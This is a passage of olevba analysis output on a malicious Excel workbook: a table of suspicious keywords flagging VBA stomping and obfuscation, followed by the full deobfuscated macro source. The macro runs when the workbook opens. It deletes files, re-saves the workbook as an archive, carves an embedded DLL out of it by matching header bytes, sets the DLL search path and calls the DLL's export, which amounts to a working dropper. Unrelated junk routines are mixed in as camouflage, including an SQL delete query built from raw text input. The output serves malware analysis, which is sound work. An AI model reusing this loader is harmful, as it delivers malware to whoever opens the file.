  4005. |Suspicious|Kill |May delete a file |
  4006. |Suspicious|Shell |May run an executable file or a system |
  4007. | | |command |
  4008. |Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
  4009. |Suspicious|ActiveWorkbook.SaveA|May save the current workbook |
  4010. | |s | |
  4011. |Suspicious|CreateObject |May create an OLE object |
  4012. |Suspicious|Lib |May run code from a DLL |
  4013. |Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
  4014. | | |used to obfuscate strings (option --decode to|
  4015. | | |see all) |
  4016. |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
  4017. | | |used to obfuscate strings (option --decode to|
  4018. | | |see all) |
  4019. |Suspicious|VBA obfuscated |VBA string expressions were detected, may be |
  4020. | |Strings |used to obfuscate strings (option --decode to|
  4021. | | |see all) |
  4022. |IOC |kernel32.dll |Executable file name |
  4023. |IOC |str_join2.dll |Executable file name |
  4024. |IOC |str_join1.dll |Executable file name |
  4025. |Hex String|'\x00\x02\x08\x19' |00020819 |
  4026. |Hex String|'\x00\x00\x00\x00\x0|000000000046 |
  4027. | |0F' | |
  4028. |Hex String|'\x00\x02\x08 ' |00020820 |
  4029. |Hex String|'=*' |FCFB3D2A |
  4030. |Hex String|'\x08\x00+3q' |08002B3371B5 |
  4031. |Hex String|'Xc' |C1E05863 |
  4032. |Hex String|'4-~\x15' |34902DC37E15 |
  4033. |Hex String|'h5X' |68C23558 |
  4034. |Hex String|'$o' |A3C2F824BF6F |
  4035. |Hex String|'o\x14V' |6F1456AC |
  4036. |Hex String|'Rcj\x1aI' |52636A1AE749 |
  4037. |Hex String|'}' |FE7DD4E8 |
  4038. |Hex String|'\t \x1fk' |C009201FB86B |
  4039. |Hex String|'m' |80C7F46D |
  4040. |Hex String|'\x1aN' |1A9CA28F9E4E |
  4041. |Hex String|'9n' |E0396EC9 |
  4042. |Hex String|'S`~' |E7B553607EA7 |
  4043. |Hex String|'ʵ$P&<\x15`M\x|cab524a78050a7c2263ca915604db302 |
  4044. | |02' | |
  4045. |Base64 |"ICy8yh'" |SetDefaultDllDirectories |
  4046. |String | | |
  4047. |VBA string|b'\xb1\x15' |Range("B115") |
  4048. |VBA string| |"" + "" |
  4049. |VBA string|Dr001 |"Dr" & "001" |
  4050. |VBA string|00001 |"00" & "001" |
  4051. |Suspicious|VBA Stomping |VBA Stomping was detected: the VBA source |
  4052. | | |code and P-code are different, this may have |
  4053. | | |been used to hide malicious code |
  4054. +----------+--------------------+---------------------------------------------+
  4055. VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues
  4056. MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
  4057.  
  4058.  
  4059. Private Sub Workbook_Open()
  4060. If WelcomeDialog.Visible = True Then
  4061. Exit Sub
  4062. End If
  4063.  
  4064. Module5.RedButton 19999
  4065. End Sub
  4066.  
  4067.  
  4068. Attribute VB_Name = "Sheet1"
  4069. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  4070. Attribute VB_GlobalNameSpace = False
  4071. Attribute VB_Creatable = False
  4072. Attribute VB_PredeclaredId = True
  4073. Attribute VB_Exposed = True
  4074. Attribute VB_TemplateDerived = False
  4075. Attribute VB_Customizable = True
  4076. Private Sub Worksheet_SelectionChange(ByVal target As Range)
  4077.  
  4078. End Sub
  4079.  
  4080. Attribute VB_Name = "Page11"
  4081. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  4082. Attribute VB_GlobalNameSpace = False
  4083. Attribute VB_Creatable = False
  4084. Attribute VB_PredeclaredId = True
  4085. Attribute VB_Exposed = True
  4086. Attribute VB_TemplateDerived = False
  4087. Attribute VB_Customizable = True
  4088.  
  4089. Attribute VB_Name = "Lumene"
  4090. Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
  4091. Attribute VB_GlobalNameSpace = False
  4092. Attribute VB_Creatable = False
  4093. Attribute VB_PredeclaredId = False
  4094. Attribute VB_Exposed = False
  4095. Attribute VB_TemplateDerived = False
  4096. Attribute VB_Customizable = False
  4097.  
  4098. Dim vSpeed As Integer
  4099. Dim vLicensePlate As String
  4100.  
  4101. Public Property Get Speed() As Integer
  4102. Speed = vSpeed
  4103. End Property
  4104.  
  4105.  
  4106. Public Property Get CheckCar(car As Variant, Drive As String)
  4107. CheckCar = car.SpecialFolders("" & Drive)
  4108.  
  4109. End Property
  4110. Public Property Get SpecialFolders() As String
  4111. LicensePlate = vLicensePlate
  4112. End Property
  4113.  
  4114. Public Property Let LicensePlate(lp As String)
  4115. If Len(lp) <> 6 Then Err.Raise (xlErrValue)
  4116. vLicensePlate = lp
  4117. End Property
  4118.  
  4119.  
  4120.  
  4121.  
  4122. Attribute VB_Name = "WelcomeDialog"
  4123. Attribute VB_Base = "0{C1E05863-0B58-4638-85CD-34902DC37E15}{68C23558-63D9-4BED-B30A-A3C2F824BF6F}"
  4124. Attribute VB_GlobalNameSpace = False
  4125. Attribute VB_Creatable = False
  4126. Attribute VB_PredeclaredId = True
  4127. Attribute VB_Exposed = False
  4128. Attribute VB_TemplateDerived = False
  4129. Attribute VB_Customizable = False
  4130.  
  4131. Private Sub UserForm_Activate()
  4132. DoEvents
  4133. DoEvents
  4134. ExChangeMoney
  4135. DoEvents
  4136. End Sub
  4137.  
  4138.  
  4139.  
  4140.  
  4141.  
  4142. Attribute VB_Name = "Module1"
  4143. Public HurricanMoes() As Byte
  4144. Public PatchForLuck As Byte
  4145. Public LUCKY As Double
  4146. Public MoveStep As Byte
  4147. Public PatchForHeart As Byte
  4148.  
  4149.  
  4150.  
  4151.  
  4152. #If VBA7 And Win64 Then
  4153. Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  4154. Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
  4155. Public Declare PtrSafe Function torx Lib "str_join2.dll" () As Integer
  4156. #Else
  4157. Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  4158. Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
  4159. Public Declare Function torx Lib "str_join1.dll" () As Integer
  4160. #End If
  4161.  
  4162.  
  4163.  
  4164. Public Sub VistaQ(WhereToGo)
  4165. DoEvents
  4166. ThisWorkbook.Sheets.Copy
  4167. Application.DisplayAlerts = False
  4168. DoEvents
  4169. ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
  4170. DoEvents
  4171. DoEvents
  4172. ActiveWorkbook.Close
  4173. DoEvents
  4174. DoEvents
  4175.  
  4176.  
  4177. End Sub
  4178.  
  4179.  
  4180.  
  4181.  
  4182.  
  4183. Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
  4184. On Error Resume Next
  4185. For Each Key In putArrayBigList
  4186. Kill Key
  4187. Next Key
  4188. End Sub
  4189.  
  4190.  
  4191.  
  4192.  
  4193.  
  4194. Private Sub TextBox2_Change()
  4195.  
  4196. x = Len(TextBox2)
  4197. Y = LTrim(TextBox2.Text)
  4198. d = TextBox2
  4199. If d = "" Then
  4200. TextBox2.BackColor = &HFFFFFF
  4201. Exit Sub
  4202. End If
  4203. If Left(d, 2) > 24 Then
  4204. MsgBox "Ora Errata"
  4205. TextBox2.SelStart = 0
  4206. TextBox2.SelLength = Len(TextBox2)
  4207. Exit Sub
  4208. End If
  4209. If x = 2 Then TextBox2 = Y & ":"
  4210. If x = 4 Then Exit Sub
  4211.  
  4212. If Mid(d, 4, 2) = "" Then Exit Sub
  4213. If Mid(d, 4, 2) > 59 Then
  4214. MsgBox "Minuti Errati"
  4215. TextBox2.SelStart = 3
  4216. TextBox2.SelLength = Len(TextBox2)
  4217. Exit Sub
  4218. End If
  4219.  
  4220.  
  4221. If x = 5 Then
  4222. TextBox3.SetFocus
  4223. End If
  4224. Exit Sub
  4225.  
  4226. Resume
  4227. End Sub
  4228.  
  4229. Public Function ExChangeMoney()
  4230.  
  4231.  
  4232. Dim ofbl As String
  4233. Dim sOfbl As String
  4234. Dim NumBForRead As Long
  4235.  
  4236.  
  4237. dershlep = "" & Form0.TextBox1.Tag
  4238.  
  4239.  
  4240.  
  4241. Dim sendings As Integer
  4242. ofbl = Form0.TextBox1.Tag
  4243. ofbl = ofbl + "\str_join"
  4244.  
  4245. liquidOne = Form0.TextBox1.Tag + "\academ"
  4246.  
  4247. liquidOne = liquidOne + "l.xlsx"
  4248.  
  4249. Dim arr(1 To 3) As String
  4250.  
  4251.  
  4252.  
  4253.  
  4254. If LenB(Form0.TextBox3.Text) > 200 Then
  4255. MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
  4256. TextBox7.SelStart = 0
  4257. Else
  4258.  
  4259.  
  4260. End If
  4261. Dim objeto As Control
  4262.  
  4263. If Len(Form0.TextBox1.Text) > 366 Then
  4264. For Each objeto In UserForm1.Controls
  4265. On Error Resume Next
  4266. objeto.Value = ""
  4267. Next
  4268.  
  4269. Unload ggg.UserForm1
  4270. ggg.UserForm1.Hide
  4271. End If
  4272.  
  4273.  
  4274.  
  4275. ctackPip = liquidOne & Page11."b'\xb1\x15'".Value
  4276.  
  4277.  
  4278.  
  4279.  
  4280. sOfbl = ofbl + Page11."b'\xb1\x15'".Value
  4281. PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep + UserForm1.Label1.Tag
  4282.  
  4283.  
  4284. VistaQ liquidOne
  4285.  
  4286. FileCopy Source:=liquidOne, Destination:=ctackPip
  4287. sendings = 1
  4288. Dim sNMSP As New Shell
  4289. FlagDouble = False
  4290.  
  4291. Lrigat = UserForm1.Label11.Tag
  4292.  
  4293. If sendings > -15 And sendings > -130 Then
  4294.  
  4295. Set DestinationKat = sNMSP.Namespace(dershlep)
  4296. Set harvest = sNMSP.Namespace(ctackPip)
  4297.  
  4298.  
  4299. End If
  4300.  
  4301.  
  4302. Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
  4303.  
  4304.  
  4305.  
  4306. DestinationKat.CopyHere harvest.Items.Item(Lrigat)
  4307.  
  4308.  
  4309.  
  4310. Dim car As Lumene
  4311.  
  4312. Set car = New Lumene
  4313.  
  4314. NumBForRead = 445766
  4315.  
  4316.  
  4317. sendings = 1
  4318. flayString = "1"
  4319.  
  4320.  
  4321.  
  4322. Composition dershlep + "" + UserForm1.Label1.Tag + "", sOfbl, NumBForRead
  4323.  
  4324. If sendings < 100 Then
  4325. sendings = sendings + 1
  4326. sendings = sendings + 1
  4327. End If
  4328.  
  4329. If sendings > -15 And sendings > -130 Then
  4330.  
  4331. Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
  4332. Set harvest = sNMSP.Namespace(sOfbl)
  4333.  
  4334. DestinationKat.CopyHere harvest.Items
  4335.  
  4336.  
  4337. End If
  4338.  
  4339. If -100 <= sendings Then
  4340. sendings = sendings + 1
  4341. ChDir Form0.TextBox3.Tag
  4342. sendings = sendings + 1
  4343. End If
  4344. sOfbl = """" + sOfbl & ""","""
  4345.  
  4346. If sendings < 0 Then
  4347. sendings = sendings + 1
  4348. sendings = sendings + 1
  4349. End If
  4350.  
  4351.  
  4352. If sendings > 1000 Then
  4353. sendings = sendings - 20
  4354. End If
  4355. If sendings < -47 Then
  4356. sendings = sendings - 20
  4357. End If
  4358. If sendings < 0 Then
  4359. sendings = sendings + 1
  4360. sendings = sendings + 1
  4361. End If
  4362. StopByOk = TestResult(d)
  4363.  
  4364.  
  4365. setDLLDirectory Form0.TextBox3.Tag
  4366. torx
  4367. WelcomeDialog.Hide
  4368. End Function
  4369.  
  4370.  
  4371. Sub subTotalSales()
  4372.  
  4373. Dim LR As Integer
  4374. LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
  4375. Rows("1:2").EntireRow.Insert Shift:=xlDown
  4376.  
  4377. If LR = 3 Then
  4378. Range("A1").Select
  4379. Call salesHeade.rs
  4380. Range("A2").Formula = "$0"
  4381. Range("B2").Formula = "$0"
  4382. Range("C2").Formula = "$0"
  4383. Range("D2").Formula = "$0"
  4384. Range("E2").Formula = "$0"
  4385. Range("F2").Formula = "0%"
  4386. Range("G2").Formula = "0"
  4387. Range("H2").Formula = "$0"
  4388. Range("I2").Formula = "0"
  4389. Range("J2").Formula = "0"
  4390. Range("K2").Formula = "$0"
  4391. Range("L2").Formula = "$0"
  4392. Range("M2").Formula = "0"
  4393. Range("N2").Formula = "0%"
  4394. Else
  4395. Range("A1").Select
  4396. Call salesHeade.rs
  4397. With ActiveSheet
  4398.  
  4399. End With
  4400. End If
  4401.  
  4402. End Sub
  4403.  
  4404.  
  4405. Sub InputWeekData(x As Date)
  4406.  
  4407. ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
  4408. ActiveCell.Offset(0, 1).Select
  4409. ActiveCell = x
  4410. ActiveCell.Offset(0, 1).Select
  4411. ActiveCell = x + 6
  4412. ActiveCell.Offset(0, 1).Select
  4413.  
  4414. End Sub
  4415. Private Sub TextBox3_Change()
  4416.  
  4417. Y = LTrim(TextBox3.Text)
  4418. d = TextBox3
  4419.  
  4420. If x = 5 Then
  4421. TextBox4.SetFocus
  4422. End If
  4423.  
  4424. End Sub
  4425.  
  4426.  
  4427.  
  4428.  
  4429.  
  4430.  
  4431.  
  4432.  
  4433.  
  4434.  
  4435.  
  4436.  
  4437.  
  4438.  
  4439.  
  4440.  
  4441.  
  4442. Attribute VB_Name = "Module2"
  4443.  
  4444. Public Const FirstB As Byte = 80
  4445. Public Const SecondB As Byte = 75
  4446. Public Const ThirdB As Byte = 3
  4447. Public Const FourthB As Byte = 4
  4448. Public Sub GetParam(Count As Integer)
  4449. Dim I As Long
  4450. Dim j As Integer
  4451. Dim C As String
  4452. Dim tooolsetChunkI As Boolean
  4453. Dim tooolsetChunkQ As Boolean
  4454.  
  4455. j = 1
  4456. tooolsetChunkI = False
  4457. tooolsetChunkQ = False
  4458. GetP.aram = ""
  4459. For I = 1 To Len(Comma.nd$)
  4460. C = Mi.d$(Comma.nd$, I, 1)
  4461. If tooolsetChunkI Then
  4462. If C = """" Then
  4463. j = j + 1
  4464. tooolsetChunkI = False
  4465. tooolsetChunkQ = False
  4466. End If
  4467. ElseIf Not tooolsetChunkQ Then
  4468. If C = " " Then
  4469. j = j + 1
  4470. End If
  4471. Else
  4472. If C = """" Then
  4473. If j > Count Then Exit Sub
  4474. tooolsetChunkI = True
  4475. tooolsetChunkQ = True
  4476. ElseIf C <> " ccc" Then
  4477.  
  4478. End If
  4479. End If
  4480. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  4481. Next I
  4482. End Sub
  4483.  
  4484.  
  4485.  
  4486.  
  4487.  
  4488. Public Sub setDLLDirectory(ByVal targetDir As String)
  4489.  
  4490.  
  4491. Dim b As Byte
  4492. Dim p As Long
  4493.  
  4494. code2 (&H1000)
  4495. code1 (StrConv(targetDir, vbUnicode))
  4496. End Sub
  4497.  
  4498. Public Sub GetParam3(Count As Integer)
  4499. Dim I As Long
  4500. Dim j As Integer
  4501. Dim C As String
  4502. Dim tooolsetChunkI As Boolean
  4503. Dim tooolsetChunkQ As Boolean
  4504.  
  4505. j = 1
  4506. tooolsetChunkI = False
  4507. tooolsetChunkQ = False
  4508. GetP.aram = ""
  4509. For I = 1 To Len(Comma.nd$)
  4510. C = Mi.d$(Comma.nd$, I, 1)
  4511. If tooolsetChunkI Then
  4512. If C = """" Then
  4513. j = j + 1
  4514. tooolsetChunkI = False
  4515. tooolsetChunkQ = False
  4516. End If
  4517.  
  4518. Else
  4519. If C = """" Then
  4520. If j > Count Then Exit Sub
  4521. tooolsetChunkI = True
  4522. tooolsetChunkQ = True
  4523. ElseIf C <> " " Then
  4524. tooolsetChunkI = True
  4525. End If
  4526. End If
  4527. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  4528. Next I
  4529. End Sub
  4530.  
  4531.  
  4532.  
  4533.  
  4534.  
  4535.  
  4536. Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
  4537. Dim PChannel As Long
  4538. Dim logicVari As Integer
  4539. Dim SimpleMethod As Integer
  4540. ReDim HurricanMoes(1 To fl)
  4541. PChannel = FreeFile
  4542. Open Composition2 For Binary Access Read As PChannel
  4543. HurricanMoes(1) = FirstB
  4544.  
  4545. HurricanMoes(2) = SecondB
  4546. HurricanMoes(3) = ThirdB
  4547. HurricanMoes(4) = FourthB
  4548. logicVari = 1
  4549. Do While Not EOF(PChannel)
  4550. Get PChannel, , MoveStep
  4551. If MoveStep = FirstB Then
  4552.  
  4553. Get PChannel, , PatchForHeart
  4554. If PatchForHeart = SecondB Then
  4555.  
  4556. Get PChannel, , PatchForLuck
  4557. If PatchForLuck = ThirdB Then
  4558. Get PChannel, , PatchForLuck
  4559. If PatchForLuck = FourthB Then
  4560. For k = 5 To fl
  4561. Get PChannel, , MoveStep
  4562. HurricanMoes(k) = MoveStep
  4563. Next k
  4564. Exit Do
  4565.  
  4566. End If
  4567. End If
  4568. End If
  4569. End If
  4570. Loop
  4571. On Error Resume Next
  4572. PublicationChannel = 1892
  4573. Close PChannel
  4574. PublicationChannel = 1892 + PublicationChannel
  4575. PChannel = FreeFile
  4576. PublicationChannel = 1892 + PublicationChannel
  4577. Open ofbl For Binary Lock Read Write As #PChannel
  4578. PublicationChannel = 1892 + PublicationChannel
  4579. zeroBob = 1
  4580. For I = zeroBob To UBound(HurricanMoes)
  4581.  
  4582. If WelcomeDialog.Enabled = True Then
  4583.  
  4584. Put #PChannel, , HurricanMoes(I)
  4585. End If
  4586. Next I
  4587. Close PChannel
  4588. PChannel = FreeFile
  4589. For HSP = 33 To -1 Step -0.25
  4590. PChannel = 6 + I
  4591. Next HSP
  4592. PChannel = 6 + I
  4593. End Sub
  4594.  
  4595.  
  4596.  
  4597.  
  4598. Private Sub cmd_Keluar_Click()
  4599. Unload LSD.Me
  4600. MDIForm1.dokter.Enabled = True
  4601. MDIForm1.dokter.Checked = False
  4602. End Sub
  4603.  
  4604. Private Sub cmd_Perbaiki_Click()
  4605. If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
  4606. cmd_Simpan.Enabled = False
  4607. cmd_Hapus.Enabled = False
  4608. cmd_Batal.Enabled = True
  4609. Dim var As String
  4610. var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
  4611. If var = Empty Then Exit Sub
  4612. Data1.Recordset.Index = "Kode_dokter"
  4613. Data1.Recordset.Seek "=", var
  4614. If Not Data1.Recordset.NoMatch Then
  4615. Call tam.pil
  4616. txtkd_dok.Enabled = False
  4617. txtnm_dok.Enabled = True
  4618. cmd_Perbaiki.Caption = "&Perbaharui data"
  4619. Else
  4620. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  4621. End If
  4622. Else
  4623. Data1.Recordset.Edit
  4624. Data1.Recordset!kode_dokter = txtkd_dok.Text
  4625. Data1.Recordset!nama_dokter = txtnm_dok.Text
  4626. Data1.Recordset.Update
  4627. Call ber.sih
  4628. cmd_Perbaiki.Caption = "Pe&rbaiki"
  4629. cmd_Batal.Enabled = False
  4630. cmd_Simpan.Enabled = True
  4631. cmd_Hapus.Enabled = True
  4632. Call tdk_bi.sa
  4633. End If
  4634. End Sub
  4635.  
  4636. Private Sub cmd_Simpan_Click()
  4637. If cmd_Simpan.Caption = "&Isi Data" Then
  4638. Call bis.A
  4639. nom.Or
  4640. M.e.txtnm_dok.SetFocus
  4641. cmd_Batal.Enabled = True
  4642. cmd_Perbaiki.Enabled = False
  4643. cmd_Hapus.Enabled = False
  4644. cmd_cari.Enabled = False
  4645. cmd_Simpan.Caption = "&Simpan Data"
  4646. Else
  4647. If txtkd_dok.Text = "" Or txtnm_dok.Text = "" Then
  4648. MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
  4649. txtkd_dok.SetFocus
  4650. Else
  4651. cmd_Batal.Enabled = False
  4652. cmd_Perbaiki.Enabled = True
  4653. cmd_Hapus.Enabled = True
  4654. cmd_cari.Enabled = True
  4655. Data1.Recordset!kode_dokter = txtkd_dok.Text
  4656. Data1.Recordset!nama_dokter = txtnm_dok.Text
  4657. Data1.Recordset.Update
  4658. Call ber.sih
  4659. cmd_Simpan.Caption = "&Isi Data"
  4660. End If
  4661. End If
  4662. End Sub
  4663.  
  4664.  
  4665.  
  4666. Function retVal(ByVal v As Variant) As Variant
  4667. If v <> 0 Then
  4668. retVal = v
  4669. Else
  4670. retVal = ""
  4671. End If
  4672.  
  4673. End Function
  4674.  
  4675. Function getFile() As String()
  4676. Dim s As String
  4677. Dim sl(1000) As String
  4678. Dim r As Range
  4679. Dim I As Integer
  4680. Erase sl
  4681. I = 0
  4682. For Each r In Worksheets("Sheet1").Range("B1:B100")
  4683. s = r.Value
  4684. If s <> "" Then
  4685. I = I + 1
  4686. sl(I) = s
  4687. End If
  4688. Next r
  4689. getFile = sl()
  4690. End Function
  4691.  
  4692.  
  4693.  
  4694. Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, Optional CaseCompare, Optional RegExp As Object = Nothing, Optional Match As Object = Nothing) As Boolean
  4695.  
  4696. On Error GoTo Err:
  4697. Dim result As Boolean
  4698. result = False
  4699. Do
  4700. If (MatchWord = "") Or (Text = "") Then Exit Do
  4701.  
  4702. Dim RegCreateFlag As Boolean
  4703. RegCreateFlag = False
  4704. If RegExp Is Nothing Then
  4705. RegCreateFlag = True
  4706. Set RegExp = CreateObject("VBScript.RegExp")
  4707. End If
  4708.  
  4709. RegExp.Pattern = MatchWord
  4710. RegExp.Global = True
  4711. RegExp.IgnoreCase = CaseCompare = IgnoreCase
  4712. Set Match = RegExp.Execute(Text)
  4713. If 1 <= Match.Count Then
  4714. result = True
  4715. End If
  4716.  
  4717. If RegCreateFlag Then
  4718. Set RegExp = Nothing
  4719. End If
  4720.  
  4721. Loop While False
  4722. MatchRegExp = result
  4723. Exit Function
  4724. Err:
  4725. MatchRegExp = False
  4726. End Function
  4727. Private Sub testArrayAddArray()
  4728. Dim A1()
  4729. A1 = Array("A", "B", "C")
  4730. Dim A2()
  4731. A2 = Array("D", "E")
  4732.  
  4733. Call ArrayA.ddArray(A1, A2)
  4734. Call Check(5, ArrayC.ount(A1))
  4735. Call Check("D", A1(3))
  4736. Call Check("E", A1(4))
  4737.  
  4738. '???????????
  4739. Dim B1()
  4740. Dim B2()
  4741. B2 = Array("1", "2")
  4742. Call ArrayA.ddArray(B1, B2)
  4743. Call Check(2, ArrayC.ount(B1))
  4744. Call Check("1", B1(0))
  4745. Call Check("2", B1(1))
  4746.  
  4747.  
  4748. End Sub
  4749. Sub ArrayInsert(ByRef ArrayValue As Variant, ByVal Index As Long, ByVal Value As Variant)
  4750. Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
  4751. Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), "Error:ArrayInsert:Index Range Over.")
  4752.  
  4753. ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
  4754. Dim I As Long
  4755. For I = UBound(ArrayValue) To Index + 1 Step -1
  4756. Call SetValue(ArrayValue(I), ArrayValue(I - 1))
  4757. Next
  4758. Call SetValue(ArrayValue(Index), Value)
  4759. End Sub
  4760. Public Function InRange( ByVal MinValue As Long, ByVal Value As Long, ByVal MaxValue As Long) As Boolean
  4761.  
  4762. InRange = ((MinValue <= Value) And (Value <= MaxValue))
  4763.  
  4764. End Function
  4765. Private Sub testArrayInsert()
  4766. Dim A
  4767. A = Array("A", "B", "C")
  4768.  
  4769. Call Check("B", A(1))
  4770. Call Check(3, ArrayCount(A))
  4771. Call ArrayInsert(A, 1, "1")
  4772. Call Check(4, ArrayCount(A))
  4773. Call Check("1", A(1))
  4774.  
  4775. Dim b()
  4776. ReDim b(2)
  4777. Set b(0) = CreateObject("VBScript.RegExp")
  4778. Set b(2) = Nothing
  4779. Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
  4780. Call ArrayInsert(b, 1, fso)
  4781. Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
  4782. End Sub
  4783. Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
  4784. If Value = False Then
  4785. Call Err.Raise(9999, , Message)
  4786. End If
  4787. End Sub
  4788. Public Sub SetValue(ByRef Variable, ByVal Value)
  4789. If IsObject(Value) Then
  4790. Set Variable = Value
  4791. Else
  4792. Variable = Value
  4793. End If
  4794. End Sub
  4795. Public Function ArrayCount(ByRef ArrayValue As Variant, Optional Dimension = 1) As Long
  4796. Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")
  4797.  
  4798. ArrayCount = UBoundNo.Error(ArrayValue, Dimension) - LBoundNo.Error(ArrayValue, Dimension) + 1
  4799. End Function
  4800. Private Sub testAssert()
  4801. Call Assert(False, "???")
  4802. End Sub
  4803.  
  4804. Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
  4805. Check = (A = b)
  4806. If Check = False Then
  4807. Call MsgBox("A != B" + vbCrLf + "A = " + CStr(A) + vbCrLf + "B = " + CStr(b))
  4808. End If
  4809. End Function
  4810.  
  4811.  
  4812.  
  4813.  
  4814.  
  4815.  
  4816.  
  4817.  
  4818.  
  4819.  
  4820.  
  4821.  
  4822.  
  4823.  
  4824. Attribute VB_Name = "UserForm1"
  4825. Attribute VB_Base = "0{6F1456AC-F0F3-4936-B126-52636A1AE749}{FE7DD4E8-12EC-494A-9F52-C009201FB86B}"
  4826. Attribute VB_GlobalNameSpace = False
  4827. Attribute VB_Creatable = False
  4828. Attribute VB_PredeclaredId = True
  4829. Attribute VB_Exposed = False
  4830. Attribute VB_TemplateDerived = False
  4831. Attribute VB_Customizable = False
  4832.  
  4833. Attribute VB_Name = "Module5"
  4834.  
  4835. Public Function RedButton(dImmer As Double)
  4836.  
  4837. DosTres = "DosTres"
  4838.  
  4839. If WelcomeDialog.Visible <> False Then
  4840. Exit Function
  4841. End If
  4842. reqPlace = 3
  4843. reqPlace = reqPlace - 1
  4844.  
  4845. Set car = New Lumene
  4846. Set TSPIP = New IWshRuntimeLibrary.WshShell
  4847. Select Case reqPlace
  4848. Case 0
  4849. s = "N health problems"
  4850. Case 1
  4851. s = "Minor health problems"
  4852.  
  4853. Case 3
  4854. s = "Sev ere disability"
  4855. End Select
  4856.  
  4857. Dim SpecialPath As String
  4858.  
  4859. PRP = "%" & Form0.TextBox1.Tag
  4860.  
  4861.  
  4862.  
  4863. TBT = PRP
  4864. TBT = TBT + ""
  4865. TBT = TBT + "%"
  4866. TBT = TSPIP.ExpandEnvironmentStrings(TBT)
  4867.  
  4868. firstWeek = 0
  4869. firstDay = 0
  4870. Dim firstdate As Date
  4871. Form0.TextBox1.Tag = TBT
  4872. firstDay = 2
  4873.  
  4874. lastDay = 4
  4875. Dim lastdate As Date
  4876. lastWeek = 0
  4877. lastDay = 0
  4878.  
  4879. s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
  4880. firstWeek = 1
  4881.  
  4882. lastWeek = 3
  4883. Form0.TextBox3.Tag = s
  4884.  
  4885.  
  4886. If Not firstDay = 1 Then
  4887. firstdate = firstdate + (8 - firstDay)
  4888. firstWeek = firstWeek + 1
  4889. End If
  4890. If lastDay = 6 Then
  4891. lastdate = lastdate + 1
  4892. lastDay = lastDay + 1
  4893. ElseIf Not lastDay = 7 Then
  4894. lastdate = lastdate - lastDay
  4895. lastDay = 7
  4896. lastWeek = lastWeek - 1
  4897. End If
  4898.  
  4899.  
  4900. Iteration = 0
  4901.  
  4902.  
  4903. ChDir (Form0.TextBox1.Tag + "")
  4904. If WelcomeDialog.Visible = False Then
  4905. WelcomeDialog.Show
  4906. End If
  4907.  
  4908. End Function
  4909.  
  4910.  
  4911.  
  4912.  
  4913.  
  4914.  
  4915.  
  4916. Private Sub Command7_Click()
  4917. b = MsgBox("?????????", vbYesNo)
  4918. If b = vbYes Then
  4919. A = "delete from cinema where cinid='"
  4920. A = A + Text1.Text + "'"
  4921. cnmovie.Execute A
  4922. rs4.Close
  4923. Sql = "select * from cinema"
  4924. rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
  4925. If rs.BOF Or rs.EOF Then
  4926. MsgBox "?????!"
  4927. Else
  4928. rs4.MoveFirst
  4929. Call View.Data
  4930. End If
  4931. End If
  4932. End Sub
  4933.  
  4934.  
  4935.  
  4936.  
  4937. Private Sub nomor()
  4938. Dim urutan As String * 5
  4939. Dim hitung As Byte
  4940.  
  4941. If Data1.Recordset.RecordCount = 0 Then
  4942. urutan = "Dr001"
  4943. Else
  4944. Data1.Recordset.MoveLast
  4945. If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
  4946. urutan = "00001"
  4947. Else
  4948. hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
  4949. urutan = "Dr" & Right("000" & hitung, 3)
  4950. End If
  4951. End If
  4952. M.e.txtkd_dok = urutan
  4953.  
  4954. End Sub
  4955.  
  4956. Private Sub cmd_Batal_Click()
  4957. Call be.rsih
  4958. Call td.k_bisa
  4959. cmd_Batal.Enabled = False
  4960. cmd_Perbaiki.Enabled = True
  4961. cmd_Hapus.Enabled = True
  4962. cmd_cari.Enabled = True
  4963. End Sub
  4964.  
  4965. Private Sub cmd_cari_Click()
  4966. Dim var As String
